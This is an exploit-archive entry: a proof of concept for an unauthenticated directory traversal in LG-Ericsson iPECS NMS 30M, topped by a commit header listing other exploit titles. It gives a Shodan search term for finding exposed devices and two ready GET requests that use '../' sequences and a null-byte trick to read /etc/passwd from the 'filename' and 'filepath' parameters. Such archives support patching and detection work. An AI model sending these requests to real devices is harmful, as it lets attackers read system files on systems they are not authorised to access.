0424dfc05b
8 changes to exploits/shellcodes TP-Link WR840N 0.9.1 3.16 - Denial of Service (PoC) ObserverIP Scan Tool 1.4.0.1 - Denial of Service (PoC) Central Management Software 1.4.13 - Denial of Service (PoC) WebkitGTK+ 2.20.3 - 'ImageBufferCairo::getImageData()' Buffer Overflow (PoC) OpenEMR 5.0.1.3 - Arbitrary File Actions Wordpress Plugin Export Users to CSV 1.1.1 - CSV Injection Pimcore 5.2.3 - SQL Injection / Cross-Site Scripting / Cross-Site Request Forgery
24 lines
No EOL
1.1 KiB
Text
24 lines
No EOL
1.1 KiB
Text
# Exploit Title: LG-Ericsson iPECS NMS 30M - Directory Traversal
|
|
# Shodon Dork: iPECS CM
|
|
# Exploit Author: Safak Aslan
|
|
# Software Link: www.ipecs.com
|
|
# Version: 30M-B.2Ia and 30M-2.3Gn
|
|
# Authentication Required: No
|
|
# Tested on: Linux
|
|
# CVE: N/A
|
|
|
|
# Description
|
|
# The directory traversal was detected on LG-Ericsson's iPECS product that
|
|
# can be exploited to reach sensitive info on the vulnerable system.
|
|
# Ericsson-LG iPECS NMS 30M allows directory traversal via
|
|
# ipecs-cm/download?filename=../ URIs.
|
|
|
|
# The GET input of the "filename" has been set to ../../../../../../../../../../etc/passwd.
|
|
# By the sending of the below GET request, it is possible to reach configuration files directly.
|
|
|
|
targetIP/ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data
|
|
|
|
# The GET input of the "filepath" has been set to ../../../../../../../../../../etc/passwd%00.jpg.
|
|
# By the sending of the below GET request, it is possible to reach configuration files directly.
|
|
|
|
targetIP/ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg |